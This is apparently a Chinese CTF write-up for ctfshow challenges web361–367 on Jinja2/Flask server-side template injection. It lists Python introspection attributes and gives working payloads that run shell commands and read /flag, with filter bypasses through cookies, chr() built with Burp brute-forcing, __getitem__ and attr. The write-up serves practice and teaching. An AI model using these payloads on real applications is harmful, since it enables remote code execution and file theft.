ssti

SSTI漏洞原理

SSTI漏洞原理
常用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__class__           查看对象所在的类
__mro__ 查看继承关系和调用顺序,返回元组
__base__ 返回基类
__bases__ 返回基类元组
__subclasses__() 返回子类列表
__init__ 调用初始化函数,可以用来跳到__globals__
__globals__ 返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__ 返回内建内建名称空间字典
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()) 都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins____builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app 应用上下文,一个全局变量
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

web361-362

hint:名字就是考点
表示有个name变量

1
2
?name=1
//none回显1

hackbar上有很多现成的模板,很多都可以直接用
payload:

1
2
3
4
5
6
7
8
9
?name={{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
//app.py

?name={{g.pop.__globals__.__builtins__['__import__']('os').popen('ls /').read()}}
//app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

?name={{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}
//ctfshow{528550d1-1770-4688-aeb3-68030ed8dc49}

web363

本题过滤了单引号和双引号
绕过过滤可以用request.args
传送门
假设传入{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}},因为引号被过滤,所以无法执行,可以把['__import__']换成[request.args.a]
而(‘os’)换成(request.args.b)(这里的a,b可以理解为自定义的变量,名字可以任意设置)
随后在后面传入a,b的值,变成{{url_for.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=ls,与原命令等效

payload:

1
2
3
4
5
6
7
8
?name={{url_for.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=ls
//app.py

?name={{url_for.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=ls /
//app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

?name={{url_for.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=cat /flag
//ctfshow{f2687c32-3db3-4c1c-be8b-fa160a8c3e70}

web364

本题过滤了单双引号,还过滤了args
但是我们仍然能用上题的方法,用cookies来代替args
payload:

1
2
3
4
5
GET:
?name={{url_for.__globals__.__builtins__[request.cookies.a](request.cookies.b).popen(request.cookies.c).read()}}

COOKIES:
a=__import__;b=os;c=ls

方法二:char()绕过
用下面的payload判断chr()函数的位置

1
{{().__class__.__bases__[0].__subclasses__()[0].__init__.__globals__.__builtins__.chr}}

在burpsuite里爆破

参数

爆破完选择状态为200的

以80为例

这个爆破结果意味着__subclasses__()[80]中含有chr的类索引,即可以使用chr()

接下来把这一串{%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}放到前面

原始payload是{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }},接下来要用chr()进行替换,对照ascii表

1
2
'os'替换成chr(111)%2bchr(115)
'cat /flag'替换成chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)

把替换后的payload放在后面,两段拼在一起得到最终姿势

1
?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

web365

对比上一题多过滤了一个中括号

中括号绕过
可以用__getitem__pop代替,但因为pop会破坏数组的结构,所以更推荐用__getitem__

上题的payload改一改

1
2
3
4
5
?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}
第一处的[]改为()
第二位的[0]改为__getitem__(0)或者直接删去
第三处的[80]改为.__getitem__(80)
第四处的[chr(111)%2bchr(115)]改为.__getitem__(chr(111)%2bchr(115))

微操好的payload如下

1
?name={%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{config.__class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

上题方法一的payload也是如此

1
2
3
4
5
GET:
?name={{url_for.__globals__.__builtins__.__getitem__(request.cookies.a)(request.cookies.b).popen(request.cookies.c).read()}}

COOKIES:
a=__import__;b=os;c=ls

web366 –过滤下划线、单引号、args、中括号

本题多过滤了下划线,在上面的基础上要绕过url_for和__globals__
这里用attr方法:

1
2
3
""|attr("__class__")
相当于
"".__class__

构造payload:

1
2
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookies:a=__globals__;b=cat /flag

web367 –过滤单双引号、args、中括号[]、下划线、os

测试发现过滤os继续用attr方法绕过

1
2
3
4
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

Cookie:a=__globals__;b=os;c=cat /flag


ssti
http://example.com/2023/10/22/ssti/
作者
奇怪的奇怪
发布于
2023年10月22日
许可协议